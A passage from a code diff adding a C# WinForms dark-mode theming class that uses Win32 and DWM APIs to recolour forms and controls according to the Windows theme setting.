behavior. Windows Vista and earlier: This value is not supported. + /// + DWMWA_EXCLUDED_FROM_PEEK, + + /// + /// Use with DwmSetWindowAttribute. Cloaks the window such that it is not visible to the user. The window is still composed by DWM. Using with DirectComposition: Use the DWMWA_CLOAK flag to cloak the layered child window when animating a representation of the window's content via a DirectComposition visual that has been associated with the layered child window. For more details on this usage case, see How to animate the bitmap of a layered child window. Windows 7 and earlier: This value is not supported. + /// + DWMWA_CLOAK, + + /// + /// Use with DwmGetWindowAttribute. If the window is cloaked, provides one of the following values explaining why. DWM_CLOAKED_APP (value 0x0000001). The window was cloaked by its owner application. DWM_CLOAKED_SHELL(value 0x0000002). The window was cloaked by the Shell. DWM_CLOAKED_INHERITED(value 0x0000004). The cloak value was inherited from its owner window. Windows 7 and earlier: This value is not supported. + /// + DWMWA_CLOAKED, + + /// + /// Use with DwmSetWindowAttribute. Freeze the window's thumbnail image with its current visuals. Do no further live updates on the thumbnail image to match the window's contents. Windows 7 and earlier: This value is not supported. + /// + DWMWA_FREEZE_REPRESENTATION, + + /// + /// Use with DwmSetWindowAttribute. Enables a non-UWP window to use host backdrop brushes. If this flag is set, then a Win32 app that calls Windows::UI::Composition APIs can build transparency effects using the host backdrop brush (see Compositor.CreateHostBackdropBrush). The pvAttribute parameter points to a value of type BOOL. TRUE to enable host backdrop brushes for the window, or FALSE to disable it. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_USE_HOSTBACKDROPBRUSH, + + /// + /// Use with DwmSetWindowAttribute. Allows the window frame for this window to be drawn in dark mode colors when the dark mode system setting is enabled. For compatibility reasons, all windows default to light mode regardless of the system setting. The pvAttribute parameter points to a value of type BOOL. TRUE to honor dark mode for the window, FALSE to always use light mode. This value is supported starting with Windows 10 Build 17763. + /// + DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = 19, + + /// + /// Use with DwmSetWindowAttribute. Allows the window frame for this window to be drawn in dark mode colors when the dark mode system setting is enabled. For compatibility reasons, all windows default to light mode regardless of the system setting. The pvAttribute parameter points to a value of type BOOL. TRUE to honor dark mode for the window, FALSE to always use light mode. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_USE_IMMERSIVE_DARK_MODE = 20, + + /// + /// Use with DwmSetWindowAttribute. Specifies the rounded corner preference for a window. The pvAttribute parameter points to a value of type DWM_WINDOW_CORNER_PREFERENCE. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_WINDOW_CORNER_PREFERENCE = 33, + + /// + /// Use with DwmSetWindowAttribute. Specifies the color of the window border. The pvAttribute parameter points to a value of type COLORREF. The app is responsible for changing the border color according to state changes, such as a change in window activation. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_BORDER_COLOR, + + /// + /// Use with DwmSetWindowAttribute. Specifies the color of the caption. The pvAttribute parameter points to a value of type COLORREF. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_CAPTION_COLOR, + + /// + /// Use with DwmSetWindowAttribute. Specifies the color of the caption text. The pvAttribute parameter points to a value of type COLORREF. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_TEXT_COLOR, + + /// + /// Use with DwmGetWindowAttribute. Retrieves the width of the outer border that the DWM would draw around this window. The value can vary depending on the DPI of the window. The pvAttribute parameter points to a value of type UINT. This value is supported starting with Windows 11 Build 22000. + /// + DWMWA_VISIBLE_FRAME_BORDER_THICKNESS, + + /// + /// The maximum recognized DWMWINDOWATTRIBUTE value, used for validation purposes. + /// + DWMWA_LAST, + } + + [Flags] + public enum DWM_WINDOW_CORNER_PREFERENCE + { + DWMWCP_DEFAULT = 0, + DWMWCP_DONOTROUND = 1, + DWMWCP_ROUND = 2, + DWMWCP_ROUNDSMALL = 3 + } + + [Serializable, StructLayout(LayoutKind.Sequential)] + public struct RECT + { + public int Left; + public int Top; + public int Right; + public int Bottom; + + public Rectangle ToRectangle() + { + return Rectangle.FromLTRB(Left, Top, Right, Bottom); + } + } + + public const int EM_SETCUEBANNER = 5377; + public const int WM_SETTINGSCHANGE = 0x001A; + public const int WM_THEMECHANGED = 0x031A; + public const int GWLP_WNDPROC = -4; + + + [DllImport("user32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wParam, [MarshalAs(UnmanagedType.LPWStr)] string lParam); + + [DllImport("DwmApi")] + public static extern int DwmSetWindowAttribute(IntPtr hwnd, int attr, int[] attrValue, int attrSize); + + [DllImport("dwmapi.dll")] + public static extern int DwmGetWindowAttribute(IntPtr hwnd, int dwAttribute, out RECT pvAttribute, int cbAttribute); + + [DllImport("uxtheme.dll", CharSet = CharSet.Unicode)] + private static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList); + + [DllImport("dwmapi.dll", EntryPoint = "#127")] + public static extern void DwmGetColorizationParameters(ref DWMCOLORIZATIONcolors colors); + + [DllImport("Gdi32.dll", EntryPoint = "CreateRoundRectRgn")] + private static extern IntPtr CreateRoundRectRgn + ( + int nLeftRect, // x-coordinate of upper-left corner + int nTopRect, // y-coordinate of upper-left corner + int nRightRect, // x-coordinate of lower-right corner + int nBottomRect, // y-coordinate of lower-right corner + int nWidthEllipse, // height of ellipse + int nHeightEllipse // width of ellipse + ); + + [DllImport("user32")] + private static extern IntPtr GetDC(IntPtr hwnd); + + [DllImport("user32")] + private static extern IntPtr ReleaseDC(IntPtr hwnd, IntPtr hdc); + + private static IntPtr GetHeaderControl(ListView list) + { + const int LVM_GETHEADER = 0x1000 + 31; + return SendMessage(list.Handle, LVM_GETHEADER, IntPtr.Zero, ""); + } + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + private delegate IntPtr WndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr SetWindowLongPtr(IntPtr hWnd, int nIndex, IntPtr dwNewLong); + + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr CallWindowProc(IntPtr lpPrevWndFunc, IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); + + + #endregion Win32 API Declarations + + #region Private Static Members + + /// + /// Stores additional info related to the Controls + /// + private static readonly ControlStatusStorage controlStatusStorage = new ControlStatusStorage(); + + /// + /// stores the event handler reference in order to prevent its uncontrolled multiple addition + /// + private static ControlEventHandler ownerFormControlAdded; + + /// + /// stores the event handler reference in order to prevent its uncontrolled multiple addition + /// + private static EventHandler controlHandleCreated; + + /// + /// stores the event handler reference in order to prevent its uncontrolled multiple addition + /// + private static ControlEventHandler controlControlAdded; + + + private bool _IsDarkMode = false; //<- storage for the Read Only Proerty 'IsDarkMode' + + private IntPtr originalWndProc; + private WndProc newWndProcDelegate; + private bool applyingTheme = false; // Flag to prevent recursion + + #endregion + + + #region Public Members + + public enum DisplayMode + { + /// Uses the Color Mode of the System, set by the User in Windows Settings. + SystemDefault, + /// Forces to use Clear Mode + ClearMode, + /// Forces to use Dark Mode + DarkMode + } + + /// Gets or Sets the Display color mode applied to the Form and Controls. + public DisplayMode ColorMode { get; set; } = DisplayMode.SystemDefault; + + ///// [Read Only] 'true' if Dark Mode Color is applied to the Form. + public bool IsDarkMode { get { return _IsDarkMode; } } + + /// Option to re-colorize all Icons in Toolbars and Menus. + public bool ColorizeIcons { get; set; } = true; + + /// Option to make all Panels Borders Rounded + public bool RoundedPanels { get; set; } = false; + + /// The PArent form for them all. + public Form OwnerForm { get; set; } + + /// Windows Colors. Can be customized. + public OSThemeColors OScolors { get; set; } + + #endregion Public Members + + + #region Constructors + + /// This tries to automatically apply Windows Dark Mode (if enabled) to a Form. + /// The Form to become Dark + /// [OPTIONAL] re-colorize all Icons in Toolbars and Menus. + /// [OPTIONAL] make all Panels Borders Rounded + public DarkModeCS(Form _Form, bool _ColorizeIcons = true, bool _RoundedPanels = false) + { + + //Sets the Properties: + OwnerForm = _Form; + ColorizeIcons = _ColorizeIcons; + RoundedPanels = _RoundedPanels; + + if (originalWndProc == IntPtr.Zero) + { + _Form.HandleCreated += (sender, e) => + { + newWndProcDelegate = new WndProc(CustomWndProc); + originalWndProc = SetWindowLongPtr(_Form.Handle, GWLP_WNDPROC, Marshal.GetFunctionPointerForDelegate(newWndProcDelegate)); + }; + } + // This Fires after the normal 'Form_Load' event + _Form.Load += (object sender, EventArgs e) => + { + _IsDarkMode = isDarkMode(); //<- Gets the current color mode from Windows + if (ColorMode != DisplayMode.SystemDefault) + { + _IsDarkMode = ColorMode == DisplayMode.DarkMode ? true : false; + } + + ApplyTheme(_IsDarkMode); + }; + } + + private IntPtr CustomWndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam) + { + // Handle the WM_THEMECHANGED message + //Debug.WriteLine($"Message Code: {msg}"); + if (msg == WM_SETTINGSCHANGE && !applyingTheme) + { + applyingTheme = true; // Set the flag to prevent recursion + _IsDarkMode = isDarkMode(); //<- Gets the current color mode from Windows + if (ColorMode != DisplayMode.SystemDefault) + { + _IsDarkMode = ColorMode == DisplayMode.DarkMode ? true : false; + } + + ApplyTheme(_IsDarkMode); + applyingTheme = false; // Reset the flag + } + + // Call the original WndProc + return CallWindowProc(originalWndProc, hWnd, msg, wParam, lParam); + } + + + public bool isDarkMode() + { + return GetWindowsColorMode() <= 0 ? true : false; + } + + #endregion Constructors + + #region Public Methods + + /// Apply the Theme into the Window and all its controls. + /// 'true': apply Dark Mode, 'false': apply Clear Mode + public void ApplyTheme(bool pIsDarkMode = true) + { + try + { + // IsDarkMode member changes only if the User manually changed it here: + _IsDarkMode = _IsDarkMode != pIsDarkMode ? pIsDarkMode : _IsDarkMode; + + OScolors = GetSystemColors(OwnerForm, pIsDarkMode ? 0 : 1); + + if (OScolors != null) + { + //Apply Window's Dark Mode to the Form's Title bar: + ApplySystemDarkTheme(OwnerForm, pIsDarkMode); + + OwnerForm.BackColor = OScolors.Background; + OwnerForm.ForeColor = OScolors.TextInactive; + + if (OwnerForm != null && OwnerForm.Controls != null) + { + foreach (Control _control in OwnerForm.Controls) + { + ThemeControl(_control); + } + + if (ownerFormControlAdded == null) + ownerFormControlAdded = (object sender, ControlEventArgs e) => + { + ThemeControl(e.Control); + }; + OwnerForm.ControlAdded -= ownerFormControlAdded; //prevent uncontrolled multiple addition + OwnerForm.ControlAdded += ownerFormControlAdded; + } + } + } + catch (Exception ex) + { + MessageBox.Show(ex.Message + ex.StackTrace, "ERROR", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + finally + { + + } + } + public void ApplyTheme(DisplayMode pColorMode) + { + _IsDarkMode = isDarkMode(); //<- Gets the current color mode from Windows + if (ColorMode != DisplayMode.SystemDefault) + { + _IsDarkMode = ColorMode == DisplayMode.DarkMode ? true : false; + } + + ApplyTheme(_IsDarkMode); + } + + /// Recursively apply the Colors from 'OScolors' to the Control and all its childs. + /// Can be a Form or any Winforms Control. + public void ThemeControl(Control control) + { + var info = controlStatusStorage.GetControlStatusInfo(control); + if (info != null) + { + //we already have some information about this Control + + //if the user chose to skip the control, exit + if (info.IsExcluded) return; + + //prevent applying a theme multiple times to the same control + //without this, it happens at least is some MDI forms + //if the Control already has the current theme, exit (otherwise we are going to re-theme it) + if (info.LastThemeAppliedIsDark == IsDarkMode) return; + + //we remember it will soon have the current theme + info.LastThemeAppliedIsDark = IsDarkMode; + } + else + { + //this is the first time we see this Control + + //we remember it will soon have the current theme + controlStatusStorage.RegisterProcessedControl(control, IsDarkMode); + } + + BorderStyle BStyle = (IsDarkMode ? BorderStyle.FixedSingle : BorderStyle.Fixed3D); + FlatStyle FStyle = (IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard); + + if (controlHandleCreated == null) controlHandleCreated = (object sender, EventArgs e) => + { + ApplySystemDarkTheme((Control)sender, IsDarkMode); + }; + control.HandleCreated -= controlHandleCreated; //prevent uncontrolled multiple addition + control.HandleCreated += controlHandleCreated; + + if (controlControlAdded == null) controlControlAdded = (object sender, ControlEventArgs e) => + { + ThemeControl(e.Control); + }; + control.ControlAdded -= controlControlAdded; //prevent uncontrolled multiple addition + control.ControlAdded += controlControlAdded; + + string Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + SetWindowTheme(control.Handle, Mode, null); //<- Attempts to apply Dark Mode using Win32 API if available. + + control.GetType().GetProperty("BackColor")?.SetValue(control, OScolors.Control); + + // check the forecolor for the bs + var currentForeColor = (Color)control.GetType().GetProperty("ForeColor")?.GetValue(control); + //Debug.WriteLine(currentForeColor); + if (currentForeColor == Color.Black || currentForeColor == Color.White || currentForeColor == SystemColors.ControlText || currentForeColor == Color.FromArgb(255, 176, 176, 176) || currentForeColor == SystemColors.WindowText || currentForeColor == SystemColors.GrayText) + { + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextActive); + } + + /* Here we Finetune individual Controls */ + if (control is Label lbl) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + e.Graphics.Clear(control.Parent.BackColor); + e.Graphics.SmoothingMode = SmoothingMode.HighQuality; + + using (Brush B = new SolidBrush(control.ForeColor)) + { + //StringFormat sf = lbl.CreateStringFormat(); + MethodInfo mi = lbl.GetType().GetMethod("CreateStringFormat", BindingFlags.NonPublic | BindingFlags.Instance); + StringFormat sf = mi.Invoke(lbl, new object[] { }) as StringFormat; + + e.Graphics.DrawString(lbl.Text, lbl.Font, B, new System.Drawing.PointF(1, 0), sf); + } + } + }; + } + if (control is LinkLabel) + { + control.GetType().GetProperty("LinkColor")?.SetValue(control, OScolors.AccentLight); + control.GetType().GetProperty("VisitedLinkColor")?.SetValue(control, OScolors.Primary); + } + if (control is TextBox) + { + //SetRoundBorders(tb, 4, OScolors.SurfaceDark, 1); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BStyle); + } + if (control is NumericUpDown) + { + //Mode = IsDarkMode ? "DarkMode_CFD" : "ClearMode_CFD"; + Mode = IsDarkMode ? "DarkMode_ItemsView" : "ClearMode_ItemsView"; + SetWindowTheme(control.Handle, Mode, null); + } + if (control is Button) + { + var button = control as Button; + button.FlatStyle = IsDarkMode ? FlatStyle.Flat : FlatStyle.Standard; + button.FlatAppearance.CheckedBackColor = OScolors.Accent; + button.BackColor = OScolors.Control; + button.FlatAppearance.BorderColor = (OwnerForm.AcceptButton == button) ? + OScolors.Accent : OScolors.Control; + } + if (control is ComboBox comboBox) + { + // Fixing a glitch that makes all instances of the ComboBox showing as having a Selected value, even when they dont + control.BeginInvoke(new Action(() => (control as ComboBox).SelectionLength = 0)); + + // Fixes a glitch showing the Combo Backgroud white when the control is Disabled: + if (!control.Enabled && this.IsDarkMode) + { + comboBox.DropDownStyle = ComboBoxStyle.DropDownList; + } + + // Apply Windows Color Mode: + Mode = IsDarkMode ? "DarkMode_CFD" : "ClearMode_CFD"; + SetWindowTheme(control.Handle, Mode, null); + } + if (control is Panel) + { + var panel = control as Panel; + // Process the panel within the container + panel.BackColor = OScolors.Surface; + panel.BorderStyle = BorderStyle.None; + if (!(panel.Parent is TabControl) || !(panel.Parent is TableLayoutPanel)) + { + if (RoundedPanels) + { + SetRoundBorders(panel, 6, OScolors.SurfaceDark, 1); + } + } + } + if (control is GroupBox) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextActive); + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + var radio = (sender as GroupBox); + Brush B = new SolidBrush(control.ForeColor); + + e.Graphics.DrawString(radio.Text, radio.Font, + B, new System.Drawing.PointF(6, 0)); + } + }; + } + if (control is TableLayoutPanel) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextInactive); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + } + if (control is TabControl) + { + var tab = control as TabControl; + tab.Appearance = TabAppearance.Normal; + tab.DrawMode = System.Windows.Forms.TabDrawMode.OwnerDrawFixed; + tab.DrawItem += (object sender, DrawItemEventArgs e) => + { + //Draw the background of the main control + using (SolidBrush backColor = new SolidBrush(tab.Parent.BackColor)) + { + e.Graphics.FillRectangle(backColor, tab.ClientRectangle); + } + + using (Brush tabBack = new SolidBrush(OScolors.Surface)) + { + for (int i = 0; i < tab.TabPages.Count; i++) + { + TabPage tabPage = tab.TabPages[i]; + tabPage.BackColor = OScolors.Surface; + tabPage.BorderStyle = BorderStyle.FixedSingle; + tabPage.ControlAdded += (object _s, ControlEventArgs _e) => + { + ThemeControl(_e.Control); + }; + + var tBounds = e.Bounds; + //tBounds.Inflate(100, 100); + + bool IsSelected = (tab.SelectedIndex == i); + if (IsSelected) + { + e.Graphics.FillRectangle(tabBack, tBounds); + TextRenderer.DrawText(e.Graphics, tabPage.Text, tabPage.Font, e.Bounds, OScolors.TextActive); + } + else + { + TextRenderer.DrawText(e.Graphics, tabPage.Text, tabPage.Font, tab.GetTabRect(i), OScolors.TextInactive); + } + } + } + }; + } + //if (control is FlatTabControl) + //{ + // control.GetType().GetProperty("BackColor")?.SetValue(control, OScolors.Background); + // control.GetType().GetProperty("TabColor")?.SetValue(control, OScolors.Surface); + // control.GetType().GetProperty("SelectTabColor")?.SetValue(control, OScolors.Control); + // control.GetType().GetProperty("SelectedForeColor")?.SetValue(control, OScolors.TextActive); + // control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextInactive); + // control.GetType().GetProperty("LineColor")?.SetValue(control, OScolors.Background); + //} + if (control is PictureBox) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.GetType().GetProperty("ForeColor")?.SetValue(control, OScolors.TextActive); + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + } + if (control is CheckBox) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.ForeColor = control.Enabled ? OScolors.TextActive : OScolors.TextInactive; + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + var radio = (sender as CheckBox); + Brush B = new SolidBrush(control.ForeColor); + + e.Graphics.DrawString(radio.Text, radio.Font, + B, new System.Drawing.PointF(16, 0)); + } + }; + } + if (control is RadioButton) + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + control.ForeColor = control.Enabled ? OScolors.TextActive : OScolors.TextInactive; + control.Paint += (object sender, PaintEventArgs e) => + { + if (control.Enabled == false && this.IsDarkMode) + { + var radio = (sender as RadioButton); + Brush B = new SolidBrush(control.ForeColor); + + e.Graphics.DrawString(radio.Text, radio.Font, + B, new System.Drawing.PointF(16, 0)); + } + }; + } + if (control is MenuStrip) + { + (control as MenuStrip).RenderMode = ToolStripRenderMode.Professional; + (control as MenuStrip).Renderer = new MyRenderer(new CustomColorTable(OScolors), ColorizeIcons) + { + MyColors = OScolors + }; + } + if (control is ToolStrip) + { + (control as ToolStrip).RenderMode = ToolStripRenderMode.Professional; + (control as ToolStrip).Renderer = new MyRenderer(new CustomColorTable(OScolors), ColorizeIcons) { MyColors = OScolors }; + } + if (control is ToolStripPanel) //<- empty area around ToolStrip + { + control.GetType().GetProperty("BackColor")?.SetValue(control, control.Parent.BackColor); + } + if (control is ToolStripDropDown) + { + (control as ToolStripDropDown).Opening -= Tsdd_Opening; //just to make sure + (control as ToolStripDropDown).Opening += Tsdd_Opening; + } + if (control is ToolStripDropDownMenu) + { + (control as ToolStripDropDownMenu).Opening -= Tsdd_Opening; //just to make sure + (control as ToolStripDropDownMenu).Opening += Tsdd_Opening; + } + if (control is ContextMenuStrip) + { + (control as ContextMenuStrip).RenderMode = ToolStripRenderMode.Professional; + (control as ContextMenuStrip).Renderer = new MyRenderer(new CustomColorTable(OScolors), ColorizeIcons) { MyColors = OScolors }; + (control as ContextMenuStrip).Opening -= Tsdd_Opening; //just to make sure + (control as ContextMenuStrip).Opening += Tsdd_Opening; + } + if (control is MdiClient) //<- empty area of MDI container window + { + control.GetType().GetProperty("BackColor")?.SetValue(control, OScolors.Surface); + } + if (control is PropertyGrid) + { + var pGrid = control as PropertyGrid; + pGrid.BackColor = OScolors.Control; + pGrid.ViewBackColor = OScolors.Control; + pGrid.LineColor = OScolors.Surface; + pGrid.ViewForeColor = OScolors.TextActive; + pGrid.ViewBorderColor = OScolors.ControlDark; + pGrid.CategoryForeColor = OScolors.TextActive; + pGrid.CategorySplitterColor = OScolors.ControlLight; + } + if (control is ListView || control is AeroListView) + { + var lView = control as ListView; + //Mode = IsDarkMode ? "DarkMode_ItemsView" : "ClearMode_ItemsView"; + Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + SetWindowTheme(control.Handle, Mode, null); + + + if (lView.View == View.Details) + { + lView.OwnerDraw = true; + lView.DrawColumnHeader += (object sender, DrawListViewColumnHeaderEventArgs e) => + { + //e.DrawDefault = true; + //e.DrawBackground(); + //e.DrawText(); + + using (SolidBrush backBrush = new SolidBrush(OScolors.ControlLight)) + { + using (SolidBrush foreBrush = new SolidBrush(OScolors.TextActive)) + { + using (var sf = new StringFormat()) + { + sf.Alignment = StringAlignment.Center; + e.Graphics.FillRectangle(backBrush, e.Bounds); + e.Graphics.DrawString(e.Header.Text, lView.Font, foreBrush, e.Bounds, sf); + } + } + } + }; + lView.DrawItem += (sender, e) => { e.DrawDefault = true; }; + lView.DrawSubItem += (sender, e) => + { + e.DrawDefault = true; + + //IntPtr headerControl = GetHeaderControl(lView); + //IntPtr hdc = GetDC(headerControl); + //Rectangle rc = new Rectangle( + // e.Bounds.Right, //<- Right instead of Left - offsets the rectangle + // e.Bounds.Top, + // e.Bounds.Width, + // e.Bounds.Height + //); + //rc.Width += 200; + + //using (SolidBrush backBrush = new SolidBrush(OScolors.ControlLight)) + //{ + // e.Graphics.FillRectangle(backBrush, rc); + //} + + //ReleaseDC(headerControl, hdc); + + }; + + Mode = IsDarkMode ? "DarkMode_Explorer" : "ClearMode_Explorer"; + SetWindowTheme(control.Handle, Mode, null); + } + + } + if (control is TreeView) + { + control.GetType().GetProperty("BorderStyle")?.SetValue(control, BorderStyle.None); + //tree.DrawNode += (object? sender, DrawTreeNodeEventArgs e) => + //{ + // if (e.Node.ImageIndex != -1) + // { + // Image image = tree.ImageList.Images[e.Node.ImageIndex]; + // using (Graphics g = Graphics.FromImage(image)) + // { + // g.InterpolationMode = InterpolationMode.HighQualityBilinear; + // g.CompositingQuality = CompositingQuality.HighQuality; + // g.SmoothingMode = SmoothingMode.HighQuality; + + // g.DrawImage(DarkModeCS.ChangeToColor(image, OScolors.TextInactive), new Point(0,0)); + // } + // tree.ImageList.Images[e.Node.ImageIndex] = image; + // } + // tree.Invalidate(); + //}; + } + if (control is DataGridView) + { + var grid = control as DataGridView; + grid.EnableHeadersVisualStyles = false; + grid.BorderStyle = BorderStyle.FixedSingle; + grid.BackgroundColor = OScolors.Control; + grid.GridColor = OScolors.Control; + + //paint the bottom right corner where the scrollbars meet + grid.Paint += (object sender, PaintEventArgs e) => + { + DataGridView dgv = sender as DataGridView; + + //get the value of dgv.HorizontalScrollBar protected property + HScrollBar hs = (HScrollBar)typeof(DataGridView).GetProperty("HorizontalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue(dgv); + if (hs.Visible) + { + //get the value of dgv.VerticalScrollBar protected property + VScrollBar vs = (VScrollBar)typeof(DataGridView).GetProperty("VerticalScrollBar", BindingFlags.Instance | BindingFlags.NonPublic).GetValue(dgv); + + if (vs.Visible) + { + //only when both the scrollbars are visible, do the actual painting + Brush brush = new SolidBrush(OScolors.SurfaceDark); + var w = vs.Size.Width; + var h = hs.Size.Height; + e.Graphics.FillRectangle(brush, dgv.ClientRectangle.X + dgv.ClientRectangle.Width - w - 1, + dgv.ClientRectangle.Y + dgv.ClientRectangle.Height - h - 1, w, h); + } + } + }; + + grid.DefaultCellStyle.BackColor = OScolors.Surface; + grid.DefaultCellStyle.ForeColor = OScolors.TextActive; + + grid.ColumnHeadersDefaultCellStyle.BackColor = OScolors.Surface; + grid.ColumnHeadersDefaultCellStyle.ForeColor = OScolors.TextActive; + grid.ColumnHeadersDefaultCellStyle.SelectionBackColor = OScolors.Surface; + grid.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single; + grid.ColumnHeadersHeight = 140; + + grid.RowHeadersDefaultCellStyle.BackColor = OScolors.Surface; + grid.RowHeadersDefaultCellStyle.ForeColor = OScolors.TextActive; + grid.RowHeadersDefaultCellStyle.SelectionBackColor = OScolors.Surface; + grid.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.Single; + } + if (control is RichTextBox richText) + { + richText.BackColor = richText.Parent.BackColor; + richText.BorderStyle = BorderStyle.None; + } + if (control is FlowLayoutPanel flowLayout) + { + flowLayout.BackColor = flowLayout.Parent.BackColor; + flowLayout.BorderStyle = BorderStyle.None; + } + + + //Debug.Print(string.Format("{0}: {1}", control.Name, control.GetType().Name)); + + if (control.ContextMenuStrip != null) + ThemeControl(control.ContextMenuStrip); + + foreach (Control childControl in control.Controls) + { + // Recursively process its children + ThemeControl(childControl); + } + } + + /// + /// Registers the Control as processed. Prevents applying theme to the Control. + /// Call it before applying the theme to your Form (or to any other Control containing (directly or indirectly) this Control) + /// + public static void ExcludeFromProcessing(Control control) + { + controlStatusStorage.ExcludeFromProcessing(control); + } + + /// Returns Windows Color Mode for Applications. + /// 0=dark theme, 1=light theme + /// + public static int GetWindowsColorMode(bool GetSystemColorModeInstead = false) + { + try + { + return (int)Microsoft.Win32.Registry.GetValue( + @"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Themes\Personalize", + GetSystemColorModeInstead ? "SystemUsesLightTheme" : "AppsUseLightTheme", + -1); + } + catch + { + return 1; + } + } + + /// Returns the Accent Color used by Windows. + /// a Color + public static Color GetWindowsAccentColor() + { + try + { + DWMCOLORIZATIONcolors colors = new DWMCOLORIZATIONcolors(); + DwmGetColorizationParameters(ref colors); + + //get the theme --> only if Windows 10 or newer + if (IsWindows10orGreater()) + { + var color = colors.ColorizationColor; + + var colorValue = long.Parse(color.ToString(), System.Globalization.NumberStyles.HexNumber); + + var transparency = (colorValue >> 24) & 0xFF; + var red = (colorValue >> 16) & 0xFF; + var green = (colorValue >> 8) & 0xFF; + var blue = (colorValue >> 0) & 0xFF; + + return Color.FromArgb((int)transparency, (int)red, (int)green, (int)blue); + } + else + { + return Color.CadetBlue; + } + } + catch (Exception) + { + return Color.CadetBlue; + } + } + + /// Returns the Accent Color used by Windows. + /// an opaque Color + public static Color GetWindowsAccentOpaqueColor() + { + DWMCOLORIZATIONcolors colors = new DWMCOLORIZATIONcolors(); + DwmGetColorizationParameters(ref colors); + + //get the theme --> only if Windows 10 or newer + if (IsWindows10orGreater()) + { + var color = colors.ColorizationColor; + + var colorValue = long.Parse(color.ToString(), System.Globalization.NumberStyles.HexNumber); + + var red = (colorValue >> 16) & 0xFF; + var green = (colorValue >> 8) & 0xFF; + var blue = (colorValue >> 0) & 0xFF; + + return Color.FromArgb(255, (int)red, (int)green, (int)blue); + } + else + { + return Color.CadetBlue; + } + } + + /// Returns Windows's System Colors for UI components following Google Material Design concepts. + /// [OPTIONAL] Applies DarkMode (if set) to this Window Title and Background. + /// List of Colors: Background, OnBackground, Surface, OnSurface, Primary, OnPrimary, Secondary, OnSecondary + public static OSThemeColors GetSystemColors(Form Window = null, int ColorMode = 0) //<- O: DarkMode, 1: LightMode + { + OSThemeColors _ret = new OSThemeColors(); + + if (ColorMode <= 0) + { + _ret.Background = Color.FromArgb(32, 32, 32); //<- Negro Claro + _ret.BackgroundDark = Color.FromArgb(18, 18, 18); + _ret.BackgroundLight = ControlPaint.Light(_ret.Background); + + _ret.Surface = Color.FromArgb(43, 43, 43); //<- Gris Oscuro + _ret.SurfaceLight = Color.FromArgb(50, 50, 50); + _ret.SurfaceDark = Color.FromArgb(29, 29, 29); + + _ret.TextActive = Color.White; + _ret.TextInactive = Color.FromArgb(176, 176, 176); //<- Blanco Palido + _ret.TextInAccent = GetReadableColor(_ret.Accent); + + _ret.Control = Color.FromArgb(55, 55, 55); //<- Gris Oscuro + _ret.ControlDark = ControlPaint.Dark(_ret.Control); + _ret.ControlLight = Color.FromArgb(67, 67, 67); + + _ret.Primary = Color.FromArgb(3, 218, 198); //<- Verde Pastel + _ret.Secondary = Color.MediumSlateBlue; //<- Magenta Claro + + + } + + return _ret; + } + + /// Apply Round Corners to the indicated Control or Form. + /// the one who will have rounded Corners. Set BorderStyle = None. + /// Radious for the Corners + /// Color for the Border + /// Size in pixels of the border line + /// + public static void SetRoundBorders(Control _Control, int Radius = 10, Color? borderColor = null, int borderSize = 2, bool underlinedStyle = false) + { + try + { + borderColor = borderColor ?? Color.MediumSlateBlue; + + if (_Control != null) + { + _Control.GetType().GetProperty("BorderStyle")?.SetValue(_Control, BorderStyle.None); + _Control.Region = System.Drawing.Region.FromHrgn(CreateRoundRectRgn(0, 0, _Control.Width, _Control.Height, Radius, Radius)); + _Control.Paint += (object sender, PaintEventArgs e) => + { + //base.OnPaint(e); + Graphics graph = e.Graphics; + + if (Radius > 1)//Rounded TextBox + { + //-Fields + var rectBorderSmooth = _Control.ClientRectangle; + var rectBorder = Rectangle.Inflate(rectBorderSmooth, -borderSize, -borderSize); + int smoothSize = borderSize > 0 ? borderSize : 1; + + using (GraphicsPath pathBorderSmooth = GetFigurePath(rectBorderSmooth, Radius)) + using (GraphicsPath pathBorder = GetFigurePath(rectBorder, Radius - borderSize)) + using (Pen 